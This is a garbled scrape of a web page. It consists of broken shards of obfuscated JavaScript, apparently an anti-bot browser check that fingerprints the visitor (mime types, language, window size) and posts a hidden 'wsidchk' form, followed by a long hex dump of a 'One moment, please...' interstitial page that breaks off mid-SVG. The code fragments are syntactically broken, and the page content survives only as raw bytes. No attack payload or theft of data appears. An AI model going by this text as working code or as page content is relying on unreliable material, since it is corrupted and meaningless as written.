a0D['mimeTypes'][Z(a0X.s)], if(a0D[Z(0x161)][Z(0x166)]>0x0)U, MimeType[Z(a0X.m)], a0D[Z(a0X.P)][0x0][Z(a0X.s)], return, ,'noLanguage':function(), var a0G, U:0x172, return, a0D[a(0x188)], a0D[a(a0G.U)][a(0x166)], ,'zeroOuterDimensions':function(), var H, return window[H(0x177), 't'], window[H(0x192)], ,a0v, function(m,P), var a0S, U:0x163,s:0x178,m:0x185,P:0x163,D:0x173, ,a0k, U:0x164,s:0x16d,m:0x189,P:0x175, a0P,D, (function(), var v, return function(Y,K), var C, function(), var R, if(K), var h, K[R(0x198)](Y,arguments), return K, null,h, :function(), return v, [],C, ()),L, D(this,function(), var g, return L[g(0x189)]()[g(a0k.U)](g(a0k.s), $')[g(a0k.m)]()[g(a0k.P), 'r'](L)[g(0x164)]('(((., L(),window[B(a0S.U), B(a0S.s)], window[B(a0S.m)][B(a0S.P), B(0x178)]('DOMContent', B(0x182),m,P):window[B(a0S.m)][B(0x171), 't'](B(a0S.D), B(0x16f),m), function a0P(U,s), var m, a0m(), return a0P, function(P,D), P-0x15d, var L, m[P], return L, ,a0P(U,s), a0v(function(), var a0p, U:0x18c,s:0x18b,m:0x185,P:0x174,D:0x174,L:0x168,v:0x18a,Y:0x15d,K:0x170,C:0x17a,h:0x16c,o:0x167,y:0x17c,q:0x196,O:0x199,A:0x194,V:0x179,T:0x180,F:0x195,t:0x195,I:0x18d,z:0x15f, setTimeout(function(), var E, a0P,U, window['document'][E(a0p.U), E(a0p.s)]('y7lixqx7d6cd'),s, [])),m, window['document'][E(0x174), 'ent'](E(0x183)),P, window[E(a0p.m)][E(a0p.P), E(0x168)]('input'),D, window[E(0x185)][E(a0p.D), E(a0p.L)]('input'),L, window['document'][E(0x174), E(a0p.L)](E(a0p.v)),v, window[E(a0p.m)]['createElem', E(0x168)]('input'),Y, [])),K, 'wsidchk',C, 'pdata',h, 'http%3A%2F%2Fwww.vianware.com%2F52s7%2F%3FblN%3DZ2d9laAhfa2%263lP0%3DBqoylcdClzWROwWVa2pt4s4WAqom%2BM%2FTxIKbTIjFH58QL2R%2FAaUCwR0NqwaRifsz2nV4H2cFuIBXcVDQS8GsgwdFn7W7UZzxw8KAxckI2JnfRu3PdCaqo3tlVtiCr3iCOli%2FfwA%3D',o, '/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f',y, 'failedChecks',q, Object[E(0x186)](a0L)[E(a0p.Y)](([T,F]), return F(), T:null, catch(t), return null, )[E(a0p.K)](T, null),O, q[E(0x166)]>0x0, if(O), var A, new URLSearchParams(), A[E(a0p.C)]('id',E(0x17f), E(a0p.h), E(0x16e), '9e'),A[E(0x17a)]('ts','1777364229'),A[E(0x17a)](K,s, Y),A[E(0x17a)](C,h),q[E(0x191)](T, >A[E(0x17a)](y,T)), var V, new XMLHttpRequest(), V[E(a0p.o)]('GET',o, A[E(0x189)]()),V[E(a0p.y)](null), else m['id'], 'y7lixqx7d6cd',m['style'], E(a0p.q), E(0x162),m['method'], E(a0p.O),m['action'], o,P['id'], 'uipgmf63ilku',P['name'], K,P[E(0x194)], Y,P[E(0x195)], 'hidden',L[E(0x18f)], 'id',L[E(a0p.A)], E(a0p.V), '60b54a2be4', E(0x184), 'c7',L[E(0x195)], E(a0p.T),v['name'], 'ts',v['value'], '1777364229',v[E(a0p.F)], 'hidden',D['id'], 'v3w53kricso8',D[E(0x18f)], C,D[E(0x194)], h,D[E(a0p.t)], 'hidden',m[E(0x18d), 'd'](P),m[E(a0p.I), 'd'](D),m[E(0x18d), 'd'](L),m['appendChil', 'd'](v),U['appendChil', 'd'](m),m[E(a0p.z)](), ,0x3e8),   </script>, </body>, </html>\",3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 2c 20 35 30 30 30 29 3b 0a 20 20 20 20 20 20 7d 28 29 29 0a 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 2c 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 4f 6e 65 20 6d 6f 6d 65 6e 74 2c 20 70 6c 65 61 73 65 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 2e 73 70 69 6e 6e 65 72 20 7b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 31 73 20 65 61 73 65 2d 6f 75 74 3b 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 31 73 20 65 61 73 65 2d 6f 75 74 3b 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 0a 20 20 20 20 30 25 20 7b 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 0a 20 20 20 20 20 20 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 0a 20 20 20 20 20 20 20 20 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 0a 20 20 20 20 20 20 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 0a 20 20 20 20 20 20 20 20 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 0a 20 20 20 20 7d 0a 7d 0a 23 6f 75 74 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 23 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 70 78 3b 0a 20 20 20 20 7d 0a 23 74 65 78 74 20 7b 0a 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 70 78 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 30 30 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 72 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 4d 6f 6e 74 73 65 72 72 61 74 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 6f 70 74 69 63 61 6c 2d 73 69 7a 69 6e 67 3a 20 61 75 74 6f 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 2e 34 65 6d 20 30 20 2e 32 65 6d 3b 0a 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 33 38 2c 20 31 32 32 2c 20 37 32 2c 20 30 2e 38 36 29 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 68 65 69 67 68 74 3a 20 31 38 30 70 78 29 20 7b 0a 20 20 20 20 23 6f 75 74 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 3b 0a 20 20 20 20 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 68 65 69 67 68 74 3a 20 33 36 30 70 78 29 20 7b 0a 20 20 20 20 23 6f 75 74 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 25 3b 0a 20 20 20 20 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 68 65 69 67 68 74 3a 20 35 34 30 70 78 29 20 7b 0a 20 20 20 20 23 6f 75 74 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 30 25 3b 0a 20 20 20 20 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 68 65 69 67 68 74 3a 20 37 32 30 70 78 29 20 7b 0a 20 20 20 20 23 6f 75 74 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 30 25 3b 0a 20 20 20 20 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 34 35 30 70 78 29 20 7b 0a 20 20 20 20 2e 74 68 72 6f 62 62 65 72 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 30 70 78 3b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 39 30 70 78 3b 0a 20 20 20 20 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 70 78 20 30 20 35 70 78 20 35 70 78 3b 0a 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 38 36 3b 0a 20 20 20 20 7d 0a 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 33 70 78 20 73 6f 6c 69 64 20 72 67 62 28 33 38 2c 20 31 32 32 2c 20 37 32 2c 20 30 2e 38 36 29 3b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 31 70 78 3b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 70 78 3b 0a 20 20 20 20 7d 0a 7d 0a 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 64 69 76 20 69 64 3d 22 6f 75 74 65 72 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 68 72 6f 62 62 65 72 22 3e 0a 20 20 20 20 3c 73 76 67 20 63 6c 61 73 73 3d 22 73 70 69 6e 6e 65 72 22 20 77 69 64 74 68 3d 22 39 30 70 78 22 20 68 65 69 67 68 74 3d 22 39 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 37 20 34 37 22 0a 20 20 20 20 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 0a 20 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 0a 20 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4c 6f 61 64 65 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 6f 6c 79 67 6f 6e 20 69 64 3d 22 70 61 74 68 2d 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 69 6e 74 73 3d 22 30 20 30 2e 33 37 35 34 38 34 31 34 36 20 30 20 31 35 2e 37 32 35 35 36 39 35 20 31 35 2e 37 30 31 33 32 34 34 20 31 35 2e 37 32 35 35 36 39 35 20 31 35 2e 37 30 31 33 32 34 34 20 30 2e 33 37 35 34 38 34 31 34 36 20 30 20 30 2e 33 37 35 34 38 34 31 34 36 22 3e 3c 2f 70 6f 6c 79 67 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 50 61 67 65 2d 31 22 20 73 74 72 6f 6b 65 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 31 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 4c 6f 67 6f 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 35 2e 30 30 30 30 30 30 2c 20 2d 32 2e 30 30 30 30 30 30 29 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 47 72 6f 75 70 2d 32 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 35 2e 30 30 30 30 30 30 2c 20 32 2e 30 30 30 30 30 30 29 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 32 2e 36 31 35 30 32 34 34 2c 34 2e 35 32 39 38 38 32 39 33 20 43 32 33 2e 31 35 33 38 30 34 39 2c 33 2e 30 36 32 35 36 35 38 35 20 32 33 2e 36 30 33 31 37 30 37 2c 31 2e 35 39 35 38 32 31 39 35 20 32 34 2e 32 33 31 39 33 39 2c 30 2e 31 35 38 38 38 32 39 32 37 20 43 32 35 2e 31 39 30 32 38 30 35 2c 32 2e 32 32 34 35 39 30 32 34 20 32 35 2e 38 31 39 30 34 38 38 2c 34 2e 34 33 39 38 39 35 31 32 20 32 36 2e 37 37 36 38 31 37 31 2c 36 2e 34 37 35 37 39 37 35 36 20 43 32 39 2e 31 34 31 37 31 39 35 2c 37 2e 34 30 33 37 36 30 39 38 20 33 31 2e 37 31 36 34 30 32 34 2c 37 2e 37 39 32 39 34 33 39 20 33 34 2e 31 31 31 36 38 32 39 2c 38 2e 36 39 31 31 30 32 34 34 20 43 32 38 2e 39 36 32 33 31 37 31 2c 31 31 2e 32 36 36 33 35 38 35 20 32 33 2e 37 32 32 39 36 33 34 2c 31 33 2e 37 35 31 30 35 33 37 20 31 38 2e 34 38 33 36 30 39 38 2c 31 36 2e 31 37 36 31 33 39 20 43 31 39 2e 37 37 30 39 35 31 32 2c 31 32 2e 32 35 34 35 30 34 39 20 32 31 2e 32 33 38 32 36 38 33 2c 38 2e 34 32 31 37 31 32 32 20 32 32 2e 36 31 35 30 32 34 34 2c 34 2e 35 32 39 38 38 32 39 33 20 4c 32 32 2e 36 31 35 30 32 34 34 2c 34 2e 35 32 39 38 38 32 39 33 20 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 31 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 33 2e 37 37 31 38 35 39 38 2c 38 2e 39 34 34 36 31 35 38 35 20 43 31 36 2e 31 34 32 34 39 33 39 2c 37 2e 36 38 30 37 37 34 33 39 20 31 38 2e 34 35 30 30 37 39 33 2c 36 2e 32 38 39 36 38 39 30 32 20 32 30 2e 38 32 30 37 31 33 34 2c 35 2e 30 32 35 32 37 34 33 39 20 43 31 38 2e 39 32 34 30 39 31 35 2c 31 30 2e 38 34 31 32 33 37 38 20 31 36 2e 37 37 34 37 30 31 32 2c 31 36 2e 35 36 31 34 38 31 37 20 31 34 2e 38 34 36 35 35 34 39 2c 32 32 2e 33 37 37 34 34 35 31 20 43 31 32 2e 37 32 39 32 36 32 32 2c 31 38 2e 33 39 35 30 35 34 39 20 31 30 2e 38 39 35 36 38 39 2c 31 34 2e 32 35 34 34 36 39 35 20 38 2e 39 30 34 34 39 33 39 2c 31 30 2e 32 30 39 30 33 30 35 20 43 38 2e 32 37 32 32 38 36 35 39 2c 38 2e 38 35 30 30 34 32 36 38 20 37 2e 35 34 35 35 30 36 31 2c 37 2e 35 35 33 35 33 30 34 39 20 37 2e 30 30 38 34 34 35 31 32 2c 36 2e 31 36 33 35 39 31 34 36 20 43 39 2e 33 31 35 34 35 37 33 32 2c 36 2e 39 35 33 34 32 30 37 33 20 31 31 2e 34 36 34 38 34 37 36 2c 38 2e 32 34 39 33 35 39 37 36 20 31 33 2e 37 37 31 38 35 39 38 2c 38 2e 39 34 34 36 31 35 38 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 33 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 34 2e 32 31 33 34 32 35 36 2c 31 35 2e 30 37 34 35 30 34 39 20 43 32 39 2e 34 36 30 32 33 30 35 2c 31 32 2e 34 39 36 39 35 36 31 20 33 34 2e 37 33 37 39 38 36 36 2c 39 2e 39 31 39 34 30 37 33 32 20 34 30 2e 30 31 35 37 34 32 37 2c 37 2e 34 30 33 31 38 37 38 20 43 33 39 2e 31 35 36 35 35 39 38 2c 39 2e 36 31 32 37 36 30 39 38 20 33 38 2e 31 37 34 37 31 38 33 2c 31 31 2e 37 33 30 30 35 33 37 20 33 37 2e 32 32 33 32 35 34 39 2c 31 33 2e 39 30 38 36 37 35 36 20 43 33 38 2e 34 35 30 34 31 33 34 2c 31 36 2e 32 30 39 39 35 36 31 20 33 39 2e 39 35 34 34 31 33 34 2c 31 38 2e 33 38 38 35 37 38 20 34 31 2e 30 38 39 38 36 34 36 2c 32 30 2e 37 35 31 31 38 37 38 20 43 33 35 2e 34 34 33 35 35 39 38 2c 31 38 2e 39 34 30 35 34 31 35 20 32 39 2e 38 32 38 37 37 39 33 2c 31 37 2e 30 33 38 31 38 37 38 20 32 34 2e 32 31 33 34 32 35 36 2c 31 35 2e 30 37 34 35 30 34 39 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 35 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 47 72 6f 75 70 2d 39 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2e 30 30 30 30 30 30 2c 20 31 31 2e 39 31 39 36 35 39 29 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 61 73 6b 20 69 64 3d 22 6d 61 73 6b 2d 32 22 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 73 65 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 70 61 74 68 2d 31 22 3e 3c 2f 75 73 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6d 61 73 6b 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 43 6c 69 70 2d 38 22 3e 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 38 2e 33 34 38 36 39 30 32 34 2c 30 2e 33 37 35 34 38 34 31 34 36 20 43 39 2e 39 33 30 36 34 31 34 36 2c 33 2e 33 33 34 31 39 31 34 36 20 31 31 2e 32 37 38 31 36 35 39 2c 36 2e 34 33 39 36 33 30 34 39 20 31 32 2e 37 34 32 36 31 37 31 2c 39 2e 34 35 36 32 32 38 30 35 20 43 31 33 2e 37 33 38 37 38 37 38 2c 31 31 2e 35 33 36 32 36 34 36 20 31 34 2e 37 39 33 34 32 32 2c 31 33 2e 35 38 37 36 34 32 37 20 31 35 2e 37 30 31 33 32 34 34 2c 31 35 2e 37 32 35 35 36 39 35 20 43 31 30 2e 34 35 37 39 35 38 35 2c 31 33 2e 39 30 39 31 39 31 35 20 35 2e 32 31 34 30 31 39 35 31 2c 31 32 2e 30 33 34 33 35 20 2d 30 2e 30 30 30 31 31 34 36 33 34 31 34 36 2c 31 30 2e 30 37 31 38 31 33 34 20 43 32 2e 30 35 30 36 39 30 32 34 2c 39 2e 31 33 34 31 30 36 31 20 34 2e 32 31 38 34 32 31 39 35 2c 38 2e 34 38 39 38 36 32 32 20 36 2e 32 39 38 34 35 38 35 34 2c 37 2e 36 31 31 31 39 31 34 36 20 43 36 2e 39 37 31 39 33 34 31 35 2c 35 2e 31 37 39 38 30 31 32 32 20 37 2e 36 37 35 32 31 34 36 33 2c 32 2e 37 37 37 30 36 39 35 31 20 38 2e 33 34 38 36 39 30 32 34 2c 30 2e 33 37 35 34 38 34 31 34 36 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 37 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 73 6b 3d 22 75 72 6c 28 23 6d 61 73 6b 2d 32 29 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 39 2e 31 37 39 33 31 39 35 2c 31 38 2e 30 34 39 36 30 34 39 20 43 33 33 2e 35 36 30 30 36 33 34 2c 31 39 2e 34 36 37 30 35 36 31 20 33 37 2e 39 30 38 31 33 36 36 2c 32 31 2e 30 37 37 36 36 35 39 20 34 32 2e 32 38 38 38 38 30 35 2c 32 32 2e 35 35 39 33 31 32 32 20 43 34 33 2e 36 37 34 32 33 34 31 2c 32 33 2e 30 37 34 35 39 32 37 20 34 35 2e 31 35 35 38 38 30 35 2c 32 33 2e 34 36 30 39 30 39 38 20 34 36 2e 35 30 38 35 36 33 34 2c 32 34 2e 31 33 37 32 35 31 32 20 43 34 34 2e 32 32 31 36 31 32 32 2c 32 35 2e 30 33 39 34 32 32 20 34 31 2e 39 30 32 35 36 33 34 2c 32 35 2e 39 31 30 30 36 38 33 20 33 39 2e 36 34 37 37 30 39 38 2c 32 36 2e 38 31 31 30 39 32 37 20 43 33 38 2e 38 31 30 33 30 37 33 2c 32 39 2e 34 31 39 35 39 32 37 20 33 38 2e 32 33 30 32 35 38 35 2c 33 32 2e 31 32 36 31 30 34 39 20 33 37 2e 33 36 30 37 35 38 35 2c 33 34 2e 37 33 34 36 30 34 39 20 43 33 35 2e 35 38 39 30 38 37 38 2c 33 31 2e 34 34 39 37 36 33 34 20 33 34 2e 30 34 33 32 34 36 33 2c 32 38 2e 30 33 35 33 38 35 34 20 33 32 2e 33 36 38 34 34 31 35 2c 32 34 2e 36 38 35 32 30 32 34 20 43 33 31 2e 33 30 35 32 30 39 38 2c 32 32 2e 34 39 34 35 34 33 39 20 33 30 2e 31 34 35 36 38 35 34 2c 32 30 2e 33 30 34 34 35 38 35 20 32 39 2e 31 37 39 33 31 39 35 2c 31 38 2e 30 34 39 36 30 34 39 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 31 30 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 38 2e 39 39 37 32 32 33 32 2c 32 39 2e 33 34 38 39 32 30 37 20 43 32 39 2e 35 37 38 39 39 31 35 2c 32 37 2e 36 39 34 37 35 20 33 30 2e 30 36 38 34 37 39 33 2c 32 36 2e 30 31 31 33 34 37 36 20 33 30 2e 37 34 31 39 35 34 39 2c 32 34 2e 33 38 38 37 30 31 32 20 43 33 31 2e 35 33 38 30 38 39 2c 32 35 2e 37 36 36 30 33 30 35 20 33 32 2e 31 38 31 31 38 36 36 2c 32 37 2e 32 33 35 36 34 30 32 20 33 32 2e 39 31 35 34 31 38 33 2c 32 38 2e 36 34 34 34 39 33 39 20 43 33 34 2e 37 32 32 30 35 32 34 2c 33 32 2e 34 37 30 39 38 31 37 20 33 36 2e 36 38 31 31 35 2c 33 36 2e 32 30 35 31 38 39 20 33 38 2e 34 35 36 38 33 32 39 2c 34 30 2e 30 33 31 36 37 36 38 20 43 33 36 2e 32 38 32 37 39 36 33 2c 33 39 2e 31 34 34 39 38 31 37 20 33 34 2e 31 34 30 32 38 34 31 2c 33 38 2e 31 36 35 34 33 32 39 20 33 31 2e 39 33 36 34 34 32 37 2c 33 37 2e 32 34 36 30 36 37 31 20 43 32 39 2e 36 34 30 33 32 30 37 2c 33 38 2e 34 37 30 39 33 32 39 20 32 37 2e 34 36 36 32 38 34 31 2c 33 39 2e 39 34 30 35 34 32 37 20 32 35 2e 31 30 39 34 30 36 31 2c 34 31 2e 31 30 33 35 30 36 31 20 43 32 36 2e 33 30 33 33 32 30 37 2c 33 37 2e 31 35 34 39 33 32 39 20 32 37 2e 37 34 31 39 37 39 33 2c 33 33 2e 32 36 37 31 31 35 39 20 32 38 2e 39 39 37 32 32 33 32 2c 32 39 2e 33 34 38 39 32 30 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 31 32 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 34 2e 39 37 31 33 33 39 30 32 2c 32 35 2e 36 34 35 35 35 20 43 39 2e 39 33 33 38 35 31 32 32 2c 